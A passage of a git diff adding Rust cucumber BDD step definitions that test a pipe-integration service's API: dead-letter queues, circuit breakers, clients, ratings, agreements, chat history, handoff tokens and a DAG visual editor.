+++ b/tests/steps/prometheus.rs
@@ -0,0 +1,19 @@
+use cucumber::then;
+
+use super::StepWorld;
+
+#[then(regex = r#"^the response content-type should contain "([^"]+)"$"#)]
+async fn then_content_type_contains(world: &mut StepWorld, expected: String) {
+    let content_type = world
+        .response_headers
+        .as_ref()
+        .and_then(|h| h.get("content-type"))
+        .and_then(|v| v.to_str().ok())
+        .unwrap_or("");
+    assert!(
+        content_type.contains(&expected),
+        "Expected content-type to contain '{}', got '{}'",
+        expected,
+        content_type
+    );
+}
diff --git a/tests/steps/resilience.rs b/tests/steps/resilience.rs
new file mode 100644
index 00000000..fff04761
--- /dev/null
+++ b/tests/steps/resilience.rs
@@ -0,0 +1,363 @@
+use cucumber::{given, when};
+use serde_json::json;
+
+use super::StepWorld;
+
+// ─── Background: create a pipe template + instance for resilience tests ───
+
+#[given(regex = r#"^I have a resilience pipe template named "([^"]+)"$"#)]
+async fn given_resilience_template(world: &mut StepWorld, name: String) {
+    let unique_name = format!("{}-{}", name, uuid::Uuid::new_v4());
+
+    let body = json!({
+        "name": unique_name,
+        "source_app_type": "test_source",
+        "source_endpoint": {"path": "/api/in", "method": "GET"},
+        "target_app_type": "test_target",
+        "target_endpoint": {"path": "/api/out", "method": "POST"},
+        "field_mapping": {"id": "id"},
+        "is_public": false
+    });
+
+    let (_status, _body) = world.post_json("/api/v1/pipes/templates", &body).await;
+
+    assert_eq!(
+        world.status_code,
+        Some(201),
+        "Failed to create resilience pipe template '{}': {}",
+        unique_name,
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+
+    world.store_id_from_response("resilience_template_id", "/item/id");
+}
+
+#[given("I have a resilience pipe instance for that template")]
+async fn given_resilience_instance(world: &mut StepWorld) {
+    let pool = world.db_pool.as_ref().expect("no db_pool");
+
+    // Create a project + deployment for this instance
+    let deployment_hash = format!("res-deploy-{}", uuid::Uuid::new_v4());
+    let proj_name = format!("proj-{}", &deployment_hash);
+
+    let project_id: i32 = sqlx::query_scalar(
+        r#"INSERT INTO project (stack_id, user_id, name, metadata, request_json, created_at, updated_at)
+           VALUES (gen_random_uuid(), $1, $2, '{}'::json, '{}'::json, NOW(), NOW())
+           RETURNING id"#,
+    )
+    .bind(super::common::USER_A_ID)
+    .bind(&proj_name)
+    .fetch_one(pool)
+    .await
+    .expect("project insert failed");
+
+    sqlx::query(
+        r#"INSERT INTO deployment (project_id, deployment_hash, user_id, metadata, status, created_at, updated_at)
+           VALUES ($1, $2, $3, '{}'::json, 'running', NOW(), NOW())
+           ON CONFLICT (deployment_hash) DO UPDATE SET updated_at = NOW()"#,
+    )
+    .bind(project_id)
+    .bind(&deployment_hash)
+    .bind(super::common::USER_A_ID)
+    .execute(pool)
+    .await
+    .expect("deployment insert failed");
+
+    // Create a pipe instance via the API
+    let template_id = world
+        .stored_ids
+        .get("resilience_template_id")
+        .expect("No resilience_template_id")
+        .clone();
+
+    let body = json!({
+        "template_id": template_id,
+        "deployment_hash": deployment_hash,
+        "source_container": "app-source",
+        "target_container": "app-target"
+    });
+
+    let (_status, _body) = world.post_json("/api/v1/pipes/instances", &body).await;
+
+    assert_eq!(
+        world.status_code,
+        Some(201),
+        "Failed to create resilience pipe instance: {}",
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+
+    world.store_id_from_response("resilience_instance_id", "/item/id");
+    world
+        .stored_ids
+        .insert("resilience_deployment_hash".to_string(), deployment_hash);
+}
+
+// ─── DLQ helpers ──────────────────────────────────────────────────
+
+async fn create_dlq_entry(world: &mut StepWorld, max_retries: Option<i32>) {
+    let instance_id = world
+        .stored_ids
+        .get("resilience_instance_id")
+        .expect("No resilience_instance_id")
+        .clone();
+
+    let mut body = json!({
+        "error": "Connection refused to target",
+        "payload": {"data": "test"}
+    });
+
+    if let Some(max) = max_retries {
+        body["max_retries"] = json!(max);
+    } else {
+        body["max_retries"] = json!(3);
+    }
+
+    let path = format!("/api/v1/pipes/instances/{}/dlq", instance_id);
+    world.post_json(&path, &body).await;
+
+    assert_eq!(
+        world.status_code,
+        Some(201),
+        "Failed to create DLQ entry: {}",
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+
+    world.store_id_from_response("dlq_entry_id", "/item/id");
+}
+
+#[given("I have a failed pipe execution for the instance")]
+async fn given_failed_execution(_world: &mut StepWorld) {
+    // No-op: we don't actually need an execution record — the DLQ entry
+    // accepts an optional pipe_execution_id
+}
+
+#[given("I have a DLQ entry for the pipe instance")]
+async fn given_dlq_entry(world: &mut StepWorld) {
+    create_dlq_entry(world, None).await;
+}
+
+#[given(regex = r#"^I have a DLQ entry with max_retries (\d+) for the pipe instance$"#)]
+async fn given_dlq_entry_with_max(world: &mut StepWorld, max: i32) {
+    create_dlq_entry(world, Some(max)).await;
+}
+
+#[given("I discard the stored DLQ entry")]
+async fn given_discard_dlq(world: &mut StepWorld) {
+    let entry_id = world
+        .stored_ids
+        .get("dlq_entry_id")
+        .expect("No dlq_entry_id")
+        .clone();
+    let path = format!("/api/v1/pipes/dlq/{}", entry_id);
+    world.delete(&path).await;
+}
+
+// ─── DLQ When steps ───────────────────────────────────────────────
+
+#[when("I list DLQ entries for the pipe instance")]
+async fn when_list_dlq(world: &mut StepWorld) {
+    let instance_id = world
+        .stored_ids
+        .get("resilience_instance_id")
+        .expect("No resilience_instance_id")
+        .clone();
+    let path = format!("/api/v1/pipes/instances/{}/dlq", instance_id);
+    world.get(&path).await;
+}
+
+#[when(regex = r#"^I push the failed execution to the DLQ with:$"#)]
+async fn when_push_to_dlq(world: &mut StepWorld, step: &cucumber::gherkin::Step) {
+    let instance_id = world
+        .stored_ids
+        .get("resilience_instance_id")
+        .expect("No resilience_instance_id")
+        .clone();
+
+    let docstring = step.docstring.as_ref().expect("Missing docstring");
+    let body: serde_json::Value =
+        serde_json::from_str(docstring).expect("Invalid JSON in docstring");
+
+    let path = format!("/api/v1/pipes/instances/{}/dlq", instance_id);
+    world.post_json(&path, &body).await;
+}
+
+#[when("I get the stored DLQ entry")]
+async fn when_get_dlq(world: &mut StepWorld) {
+    let entry_id = world
+        .stored_ids
+        .get("dlq_entry_id")
+        .expect("No dlq_entry_id")
+        .clone();
+    let path = format!("/api/v1/pipes/dlq/{}", entry_id);
+    world.get(&path).await;
+}
+
+#[when("I retry the stored DLQ entry")]
+async fn when_retry_dlq(world: &mut StepWorld) {
+    let entry_id = world
+        .stored_ids
+        .get("dlq_entry_id")
+        .expect("No dlq_entry_id")
+        .clone();
+    let path = format!("/api/v1/pipes/dlq/{}/retry", entry_id);
+    world.post_json(&path, &json!({})).await;
+}
+
+#[when("I discard the stored DLQ entry")]
+async fn when_discard_dlq(world: &mut StepWorld) {
+    let entry_id = world
+        .stored_ids
+        .get("dlq_entry_id")
+        .expect("No dlq_entry_id")
+        .clone();
+    let path = format!("/api/v1/pipes/dlq/{}", entry_id);
+    world.delete(&path).await;
+}
+
+// ─── Circuit Breaker When steps ───────────────────────────────────
+
+#[when("I get the circuit breaker status for the pipe instance")]
+async fn when_get_cb(world: &mut StepWorld) {
+    let instance_id = world
+        .stored_ids
+        .get("resilience_instance_id")
+        .expect("No resilience_instance_id")
+        .clone();
+    let path = format!("/api/v1/pipes/instances/{}/circuit-breaker", instance_id);
+    world.get(&path).await;
+}
+
+#[when(regex = r#"^I update the circuit breaker config for the pipe instance with:$"#)]
+async fn when_update_cb(world: &mut StepWorld, step: &cucumber::gherkin::Step) {
+    let instance_id = world
+        .stored_ids
+        .get("resilience_instance_id")
+        .expect("No resilience_instance_id")
+        .clone();
+
+    let docstring = step.docstring.as_ref().expect("Missing docstring");
+    let body: serde_json::Value = serde_json::from_str(docstring).expect("Invalid JSON");
+
+    let path = format!("/api/v1/pipes/instances/{}/circuit-breaker", instance_id);
+    world.put_json(&path, &body).await;
+}
+
+#[given(
+    regex = r#"^the circuit breaker is configured with failure_threshold (\d+) for the pipe instance$"#
+)]
+async fn given_cb_configured(world: &mut StepWorld, threshold: i32) {
+    let instance_id = world
+        .stored_ids
+        .get("resilience_instance_id")
+        .expect("No resilience_instance_id")
+        .clone();
+
+    let body = json!({
+        "failure_threshold": threshold,
+        "recovery_timeout_seconds": 60,
+        "half_open_max_requests": 3
+    });
+
+    let path = format!("/api/v1/pipes/instances/{}/circuit-breaker", instance_id);
+    world.put_json(&path, &body).await;
+
+    assert_eq!(
+        world.status_code,
+        Some(200),
+        "Failed to configure circuit breaker: {}",
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+}
+
+#[when("I record a circuit breaker failure for the pipe instance")]
+async fn when_record_failure(world: &mut StepWorld) {
+    let instance_id = world
+        .stored_ids
+        .get("resilience_instance_id")
+        .expect("No resilience_instance_id")
+        .clone();
+    let path = format!(
+        "/api/v1/pipes/instances/{}/circuit-breaker/failure",
+        instance_id
+    );
+    world.post_json(&path, &json!({})).await;
+}
+
+#[when("I record a circuit breaker success for the pipe instance")]
+async fn when_record_success(world: &mut StepWorld) {
+    let instance_id = world
+        .stored_ids
+        .get("resilience_instance_id")
+        .expect("No resilience_instance_id")
+        .clone();
+    let path = format!(
+        "/api/v1/pipes/instances/{}/circuit-breaker/success",
+        instance_id
+    );
+    world.post_json(&path, &json!({})).await;
+}
+
+#[when("I reset the circuit breaker for the pipe instance")]
+async fn when_reset_cb(world: &mut StepWorld) {
+    let instance_id = world
+        .stored_ids
+        .get("resilience_instance_id")
+        .expect("No resilience_instance_id")
+        .clone();
+    let path = format!(
+        "/api/v1/pipes/instances/{}/circuit-breaker/reset",
+        instance_id
+    );
+    world.post_json(&path, &json!({})).await;
+}
+
+#[given("the circuit breaker is in open state for the pipe instance")]
+async fn given_cb_open(world: &mut StepWorld) {
+    // Configure with threshold=1 and record 1 failure to open it
+    let instance_id = world
+        .stored_ids
+        .get("resilience_instance_id")
+        .expect("No resilience_instance_id")
+        .clone();
+
+    let body = json!({
+        "failure_threshold": 1,
+        "recovery_timeout_seconds": 60,
+        "half_open_max_requests": 1
+    });
+    let path = format!("/api/v1/pipes/instances/{}/circuit-breaker", instance_id);
+    world.put_json(&path, &body).await;
+
+    let path = format!(
+        "/api/v1/pipes/instances/{}/circuit-breaker/failure",
+        instance_id
+    );
+    world.post_json(&path, &json!({})).await;
+
+    // Verify it's open
+    let cb_json = world.response_json.as_ref().expect("no response");
+    let state = cb_json
+        .pointer("/item/state")
+        .and_then(|v| v.as_str())
+        .unwrap_or("");
+    assert_eq!(
+        state, "open",
+        "Circuit breaker should be open after threshold failures"
+    );
+}
+
+#[given(regex = r#"^I have recorded (\d+) circuit breaker failures for the pipe instance$"#)]
+async fn given_recorded_failures(world: &mut StepWorld, count: i32) {
+    let instance_id = world
+        .stored_ids
+        .get("resilience_instance_id")
+        .expect("No resilience_instance_id")
+        .clone();
+    let path = format!(
+        "/api/v1/pipes/instances/{}/circuit-breaker/failure",
+        instance_id
+    );
+    for _ in 0..count {
+        world.post_json(&path, &json!({})).await;
+    }
+}
diff --git a/tests/steps/streaming.rs b/tests/steps/streaming.rs
new file mode 100644
index 00000000..e355614f
--- /dev/null
+++ b/tests/steps/streaming.rs
@@ -0,0 +1,14 @@
+use cucumber::when;
+
+use super::StepWorld;
+
+#[when("I request the execution stream for the instance")]
+async fn when_get_execution_stream(world: &mut StepWorld) {
+    let instance_id = world
+        .stored_ids
+        .get("dag_instance_id")
+        .expect("No dag_instance_id stored");
+
+    let path = format!("/api/v1/pipes/instances/{}/stream", instance_id);
+    world.get(&path).await;
+}
diff --git a/tests/steps/supporting.rs b/tests/steps/supporting.rs
new file mode 100644
index 00000000..9f219d95
--- /dev/null
+++ b/tests/steps/supporting.rs
@@ -0,0 +1,401 @@
+use cucumber::given;
+use cucumber::then;
+use cucumber::when;
+use serde_json::json;
+
+use crate::steps::StepWorld;
+
+// ─── Client steps ───
+
+fn store_client_id(world: &mut StepWorld) {
+    if let Some(json) = &world.response_json {
+        if let Some(id) = json.pointer("/item/id").and_then(|v| v.as_i64()) {
+            world
+                .stored_ids
+                .insert("client_id".to_string(), id.to_string());
+        }
+    }
+}
+
+#[when("I create a client")]
+async fn create_client(world: &mut StepWorld) {
+    world.post_json("/client", &json!({})).await;
+    store_client_id(world);
+}
+
+#[given("I have created a client")]
+async fn given_created_client(world: &mut StepWorld) {
+    world.post_json("/client", &json!({})).await;
+    store_client_id(world);
+}
+
+#[when("I disable the stored client")]
+async fn disable_client(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("client_id")
+        .expect("No stored client_id")
+        .clone();
+    world
+        .put_json(&format!("/client/{}/disable", id), &json!({}))
+        .await;
+}
+
+#[given("I disable the stored client")]
+async fn given_disable_client(world: &mut StepWorld) {
+    disable_client(world).await;
+}
+
+#[when("I enable the stored client")]
+async fn enable_client(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("client_id")
+        .expect("No stored client_id")
+        .clone();
+    world
+        .put_json(&format!("/client/{}/enable", id), &json!({}))
+        .await;
+}
+
+#[when("I update the stored client")]
+async fn update_client(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("client_id")
+        .expect("No stored client_id")
+        .clone();
+    world.put_json(&format!("/client/{}", id), &json!({})).await;
+}
+
+// ─── Rating steps ───
+
+fn store_rating_id(world: &mut StepWorld) {
+    if let Some(json) = &world.response_json {
+        if let Some(id) = json.pointer("/item/id").and_then(|v| v.as_i64()) {
+            world
+                .stored_ids
+                .insert("rating_id".to_string(), id.to_string());
+        }
+    }
+}
+
+#[when(
+    regex = r#"^I create a rating for object (\d+) category "([^"]+)" with rate (\d+) and comment "([^"]*)"$"#
+)]
+async fn create_rating_with_comment(
+    world: &mut StepWorld,
+    obj_id: i32,
+    category: String,
+    rate: i32,
+    comment: String,
+) {
+    // Ensure a product row exists for this obj_id
+    let pool = world.db_pool.as_ref().unwrap();
+    let _ = sqlx::query(
+        "INSERT INTO product (id, obj_id, obj_type, created_at, updated_at) \
+         VALUES ($1, $1, 'project', NOW(), NOW()) ON CONFLICT (id) DO NOTHING",
+    )
+    .bind(obj_id)
+    .execute(pool)
+    .await;
+
+    let body = json!({
+        "obj_id": obj_id,
+        "category": category,
+        "rate": rate,
+        "comment": comment
+    });
+    world.post_json("/rating", &body).await;
+    store_rating_id(world);
+}
+
+#[given(regex = r#"^I have created a rating for object (\d+) category "([^"]+)" with rate (\d+)$"#)]
+async fn given_created_rating(world: &mut StepWorld, obj_id: i32, category: String, rate: i32) {
+    // Ensure a product row exists for this obj_id
+    let pool = world.db_pool.as_ref().unwrap();
+    let _ = sqlx::query(
+        "INSERT INTO product (id, obj_id, obj_type, created_at, updated_at) \
+         VALUES ($1, $1, 'project', NOW(), NOW()) ON CONFLICT (id) DO NOTHING",
+    )
+    .bind(obj_id)
+    .execute(pool)
+    .await;
+
+    let body = json!({
+        "obj_id": obj_id,
+        "category": category,
+        "rate": rate,
+        "comment": "BDD test rating"
+    });
+    world.post_json("/rating", &body).await;
+    store_rating_id(world);
+}
+
+#[when("I get the stored rating")]
+async fn get_rating(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("rating_id")
+        .expect("No stored rating_id")
+        .clone();
+    world.get(&format!("/rating/{}", id)).await;
+}
+
+#[when(regex = r#"^I update the stored rating with rate (\d+) and comment "([^"]+)"$"#)]
+async fn update_rating(world: &mut StepWorld, rate: i32, comment: String) {
+    let id = world
+        .stored_ids
+        .get("rating_id")
+        .expect("No stored rating_id")
+        .clone();
+    let body = json!({
+        "rate": rate,
+        "comment": comment
+    });
+    world.put_json(&format!("/rating/{}", id), &body).await;
+}
+
+#[when("I delete the stored rating")]
+async fn delete_rating(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("rating_id")
+        .expect("No stored rating_id")
+        .clone();
+    world.delete(&format!("/rating/{}", id)).await;
+}
+
+#[when("I list ratings")]
+async fn list_ratings(world: &mut StepWorld) {
+    world.get("/rating").await;
+}
+
+// ─── Agreement steps ───
+
+fn store_agreement_id(world: &mut StepWorld) {
+    if let Some(json) = &world.response_json {
+        if let Some(id) = json.pointer("/item/id").and_then(|v| v.as_i64()) {
+            world
+                .stored_ids
+                .insert("agreement_id".to_string(), id.to_string());
+        }
+    }
+}
+
+#[when(regex = r#"^I create an agreement with name "([^"]+)" and text "([^"]+)"$"#)]
+async fn create_agreement(world: &mut StepWorld, name: String, text: String) {
+    let body = json!({
+        "name": name,
+        "text": text
+    });
+    world.post_json("/admin/agreement", &body).await;
+    store_agreement_id(world);
+}
+
+#[given(regex = r#"^I have created an agreement with name "([^"]+)"$"#)]
+async fn given_created_agreement(world: &mut StepWorld, name: String) {
+    let body = json!({
+        "name": name,
+        "text": "BDD test agreement text for compliance."
+    });
+    world.post_json("/admin/agreement", &body).await;
+    store_agreement_id(world);
+}
+
+#[when("I get the stored agreement as admin")]
+async fn get_agreement_admin(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("agreement_id")
+        .expect("No stored agreement_id")
+        .clone();
+    world.get(&format!("/admin/agreement/{}", id)).await;
+}
+
+#[when("I sign the stored agreement")]
+async fn sign_agreement(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("agreement_id")
+        .expect("No stored agreement_id")
+        .clone();
+    let body = json!({
+        "agrt_id": id.parse::<i32>().unwrap()
+    });
+    world.post_json("/agreement", &body).await;
+}
+
+#[given("I sign the stored agreement")]
+async fn given_sign_agreement(world: &mut StepWorld) {
+    sign_agreement(world).await;
+}
+
+#[when("I check if the stored agreement is accepted")]
+async fn check_agreement_accepted(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("agreement_id")
+        .expect("No stored agreement_id")
+        .clone();
+    world.get(&format!("/agreement/accepted/{}", id)).await;
+}
+
+// ─── Chat steps ───
+
+#[when("I upsert chat history with messages")]
+async fn upsert_chat(world: &mut StepWorld) {
+    let body = json!({
+        "messages": [
+            {"role": "user", "content": "Hello"},
+            {"role": "assistant", "content": "Hi there!"}
+        ]
+    });
+    world.put_json("/chat/history", &body).await;
+}
+
+#[given("I have upserted chat history")]
+async fn given_upserted_chat(world: &mut StepWorld) {
+    let body = json!({
+        "messages": [
+            {"role": "user", "content": "Test message"}
+        ]
+    });
+    world.put_json("/chat/history", &body).await;
+    assert_eq!(
+        world.status_code.unwrap_or(0),
+        200,
+        "Chat upsert failed: {}",
+        world.response_body.as_deref().unwrap_or("(no body)")
+    );
+}
+
+#[when("I upsert and then get chat history")]
+async fn upsert_then_get_chat(world: &mut StepWorld) {
+    let body = json!({
+        "messages": [{"role": "user", "content": "Test message"}]
+    });
+    world.put_json("/chat/history", &body).await;
+    assert_eq!(world.status_code.unwrap_or(0), 200, "Chat upsert failed");
+    // GET immediately after
+    world.get("/chat/history").await;
+}
+
+#[when("I get chat history")]
+async fn get_chat(world: &mut StepWorld) {
+    world.get("/chat/history").await;
+}
+
+#[when("I delete chat history")]
+async fn delete_chat(world: &mut StepWorld) {
+    world.delete("/chat/history").await;
+}
+
+// ─── DockerHub steps ───
+
+#[when(regex = r#"^I search DockerHub namespaces with query "([^"]+)"$"#)]
+async fn search_namespaces(world: &mut StepWorld, query: String) {
+    world
+        .get(&format!("/dockerhub/namespaces?q={}", query))
+        .await;
+}
+
+#[when(regex = r#"^I list DockerHub repositories for namespace "([^"]+)"$"#)]
+async fn list_repositories(world: &mut StepWorld, namespace: String) {
+    world
+        .get(&format!("/dockerhub/{}/repositories", namespace))
+        .await;
+}
+
+#[when(regex = r#"^I list DockerHub tags for namespace "([^"]+)" repository "([^"]+)"$"#)]
+async fn list_tags(world: &mut StepWorld, namespace: String, repository: String) {
+    world
+        .get(&format!(
+            "/dockerhub/{}/repositories/{}/tags",
+            namespace, repository
+        ))
+        .await;
+}
+
+// ─── Handoff steps ───
+
+#[when("I mint a handoff token for the stored deployment")]
+async fn mint_handoff(world: &mut StepWorld) {
+    let dep_id = world
+        .stored_ids
+        .get("deployment_id")
+        .expect("No stored deployment_id")
+        .clone();
+    let body = json!({
+        "deployment_id": dep_id.parse::<i32>().unwrap()
+    });
+    world.post_json("/api/v1/handoff/mint", &body).await;
+    // Store the token
+    if let Some(json) = &world.response_json {
+        if let Some(token) = json
+            .pointer("/item/token")
+            .or_else(|| json.pointer("/data/token"))
+            .and_then(|v| v.as_str())
+        {
+            world
+                .stored_ids
+                .insert("handoff_token".to_string(), token.to_string());
+        }
+    }
+}
+
+#[given("I have minted a handoff token for the stored deployment")]
+async fn given_minted_handoff(world: &mut StepWorld) {
+    mint_handoff(world).await;
+}
+
+#[when("I resolve the stored handoff token")]
+async fn resolve_stored_handoff(world: &mut StepWorld) {
+    let token = world
+        .stored_ids
+        .get("handoff_token")
+        .expect("No stored handoff_token")
+        .clone();
+    let body = json!({ "token": token });
+    world.post_json("/api/v1/handoff/resolve", &body).await;
+}
+
+#[given("I resolve the stored handoff token")]
+async fn given_resolve_stored_handoff(world: &mut StepWorld) {
+    resolve_stored_handoff(world).await;
+}
+
+#[when(regex = r#"^I resolve handoff token "([^"]+)"$"#)]
+async fn resolve_handoff_token(world: &mut StepWorld, token: String) {
+    let body = json!({ "token": token });
+    world.post_json("/api/v1/handoff/resolve", &body).await;
+}
+
+// ─── Anonymous user step ───
+
+#[given("I switch to anonymous user")]
+async fn switch_to_anonymous(world: &mut StepWorld) {
+    world.auth_token = "anonymous".to_string();
+}
+
+#[then(regex = r#"^I switch to anonymous user$"#)]
+async fn then_switch_to_anonymous(world: &mut StepWorld) {
+    world.auth_token = "anonymous".to_string();
+}
+
+// ─── Admin / User A switching ───
+
+#[given("I switch to admin user")]
+async fn given_switch_to_admin(world: &mut StepWorld) {
+    world.auth_token = "admin-token".to_string();
+}
+
+#[when("I switch to admin user")]
+async fn when_switch_to_admin(world: &mut StepWorld) {
+    world.auth_token = "admin-token".to_string();
+}
+
+#[given("I switch to User A")]
+async fn given_switch_to_user_a(world: &mut StepWorld) {
+    world.auth_token = "user-a-token".to_string();
+}
diff --git a/tests/steps/visual_editor.rs b/tests/steps/visual_editor.rs
new file mode 100644
index 00000000..07f331ec
--- /dev/null
+++ b/tests/steps/visual_editor.rs
@@ -0,0 +1,304 @@
+use cucumber::{then, when};
+use serde_json::json;
+
+use crate::steps::StepWorld;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Editor-specific step definitions
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[when(regex = r#"^I add a step "([^"]+)" of type "([^"]+)" at position (\d+),(\d+)$"#)]
+async fn when_add_step_at_position(
+    world: &mut StepWorld,
+    name: String,
+    step_type: String,
+    _x: i32,
+    _y: i32,
+) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let body = json!({
+        "name": name,
+        "step_type": step_type,
+        "config": {},
+    });
+
+    let (_status, _body_str) = world
+        .post_json(&format!("/api/v1/pipes/{}/dag/steps", template_id), &body)
+        .await;
+
+    // Extract step ID from /item/id (JsonResponse wrapper)
+    if let Some(ref json) = world.response_json {
+        if let Some(id) = json.pointer("/item/id").and_then(|v| v.as_str()) {
+            world
+                .stored_ids
+                .insert("last_dag_step_id".to_string(), id.to_string());
+            world
+                .stored_ids
+                .insert(format!("dag_step:{}", name), id.to_string());
+        }
+    }
+}
+
+#[then(regex = r#"^the step should have name "([^"]+)"$"#)]
+async fn then_step_has_name(world: &mut StepWorld, name: String) {
+    let json = world.response_json.as_ref().expect("No response JSON");
+    let actual = json
+        .pointer("/item/name")
+        .and_then(|v| v.as_str())
+        .unwrap_or_default();
+    assert_eq!(actual, name);
+}
+
+#[then(regex = r#"^the step should have type "([^"]+)"$"#)]
+async fn then_step_has_type(world: &mut StepWorld, step_type: String) {
+    let json = world.response_json.as_ref().expect("No response JSON");
+    let actual = json
+        .pointer("/item/step_type")
+        .and_then(|v| v.as_str())
+        .unwrap_or_default();
+    assert_eq!(actual, step_type);
+}
+
+#[when(regex = r#"^I update the step name to "([^"]+)" with config:$"#)]
+async fn when_update_step(world: &mut StepWorld, name: String, step: &cucumber::gherkin::Step) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let step_id = world
+        .stored_ids
+        .get("last_dag_step_id")
+        .expect("No last_dag_step_id")
+        .clone();
+    let config: serde_json::Value =
+        serde_json::from_str(step.docstring.as_ref().expect("Missing docstring"))
+            .expect("Invalid JSON");
+
+    let body = json!({ "name": name, "config": config });
+    let (status, body_str) = world
+        .put_json(
+            &format!("/api/v1/pipes/{}/dag/steps/{}", template_id, step_id),
+            &body,
+        )
+        .await;
+    world.status_code = Some(status);
+    world.response_body = Some(body_str);
+}
+
+#[when("I delete the step")]
+async fn when_delete_step(world: &mut StepWorld) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let step_id = world
+        .stored_ids
+        .get("last_dag_step_id")
+        .expect("No last_dag_step_id")
+        .clone();
+    let (status, body_str) = world
+        .delete(&format!(
+            "/api/v1/pipes/{}/dag/steps/{}",
+            template_id, step_id
+        ))
+        .await;
+    world.status_code = Some(status);
+    world.response_body = Some(body_str);
+}
+
+#[then(regex = r#"^listing steps should return (\d+) steps?$"#)]
+async fn then_listing_steps_count(world: &mut StepWorld, count: usize) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let (_status, body) = world
+        .get(&format!("/api/v1/pipes/{}/dag/steps", template_id))
+        .await;
+    // Response is {"list": [...], "message": "..."}
+    let list_json: serde_json::Value = serde_json::from_str(&body).unwrap_or_default();
+    let steps = list_json
+        .get("list")
+        .and_then(|v| v.as_array())
+        .map(|a| a.len())
+        .unwrap_or(0);
+    assert_eq!(steps, count, "Expected {} steps, got {}", count, steps);
+}
+
+#[when(regex = r#"^I add an edge from step "([^"]+)" to step "([^"]+)"$"#)]
+async fn when_add_edge(world: &mut StepWorld, from: String, to: String) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let from_id = world
+        .stored_ids
+        .get(&format!("dag_step:{}", from))
+        .unwrap_or_else(|| panic!("No step '{}'", from))
+        .clone();
+    let to_id = world
+        .stored_ids
+        .get(&format!("dag_step:{}", to))
+        .unwrap_or_else(|| panic!("No step '{}'", to))
+        .clone();
+
+    let body = json!({ "from_step_id": from_id, "to_step_id": to_id });
+    let (_status, _body_str) = world
+        .post_json(&format!("/api/v1/pipes/{}/dag/edges", template_id), &body)
+        .await;
+
+    if let Some(ref json) = world.response_json {
+        if let Some(id) = json.pointer("/item/id").and_then(|v| v.as_str()) {
+            world
+                .stored_ids
+                .insert(format!("dag_edge:{}_{}", from, to), id.to_string());
+            world
+                .stored_ids
+                .insert("last_dag_edge_id".to_string(), id.to_string());
+        }
+    }
+}
+
+#[then(regex = r#"^listing edges should return (\d+) edges?$"#)]
+async fn then_listing_edges_count(world: &mut StepWorld, count: usize) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let (_status, body) = world
+        .get(&format!("/api/v1/pipes/{}/dag/edges", template_id))
+        .await;
+    let list_json: serde_json::Value = serde_json::from_str(&body).unwrap_or_default();
+    let edges = list_json
+        .get("list")
+        .and_then(|v| v.as_array())
+        .map(|a| a.len())
+        .unwrap_or(0);
+    assert_eq!(edges, count, "Expected {} edges, got {}", count, edges);
+}
+
+#[when(regex = r#"^I delete the edge from "([^"]+)" to "([^"]+)"$"#)]
+async fn when_delete_edge(world: &mut StepWorld, _from: String, _to: String) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let edge_id = world
+        .stored_ids
+        .get("last_dag_edge_id")
+        .expect("No last_dag_edge_id")
+        .clone();
+    let (status, body_str) = world
+        .delete(&format!(
+            "/api/v1/pipes/{}/dag/edges/{}",
+            template_id, edge_id
+        ))
+        .await;
+    world.status_code = Some(status);
+    world.response_body = Some(body_str);
+}
+
+#[when("I validate the DAG")]
+async fn when_validate_dag(world: &mut StepWorld) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let (status, body_str) = world
+        .post_json(
+            &format!("/api/v1/pipes/{}/dag/validate", template_id),
+            &json!({}),
+        )
+        .await;
+    world.status_code = Some(status);
+    world.response_body = Some(body_str);
+}
+
+#[when("I add steps of all supported types")]
+async fn when_add_all_step_types(world: &mut StepWorld) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let types = [
+        "source",
+        "transform",
+        "condition",
+        "target",
+        "parallel_split",
+        "parallel_join",
+        "ws_source",
+        "ws_target",
+        "http_stream_source",
+        "grpc_source",
+        "grpc_target",
+        "cdc_source",
+    ];
+
+    let mut created = 0;
+    for step_type in types.iter() {
+        let body = json!({
+            "name": step_type,
+            "step_type": step_type,
+            "config": {},
+        });
+        let (status, _) = world
+            .post_json(&format!("/api/v1/pipes/{}/dag/steps", template_id), &body)
+            .await;
+        if status == 200 || status == 201 {
+            created += 1;
+        }
+    }
+    world
+        .stored_ids
+        .insert("created_step_count".to_string(), created.to_string());
+    world.status_code = Some(200);
+}
+
+#[then(regex = r#"^all (\d+) steps should be created successfully$"#)]
+async fn then_all_steps_created(world: &mut StepWorld, expected: usize) {
+    let count: usize = world
+        .stored_ids
+        .get("created_step_count")
+        .expect("No created count")
+        .parse()
+        .unwrap();
+    assert_eq!(
+        count, expected,
+        "Expected {} steps created, got {}",
+        expected, count
+    );
+}
+
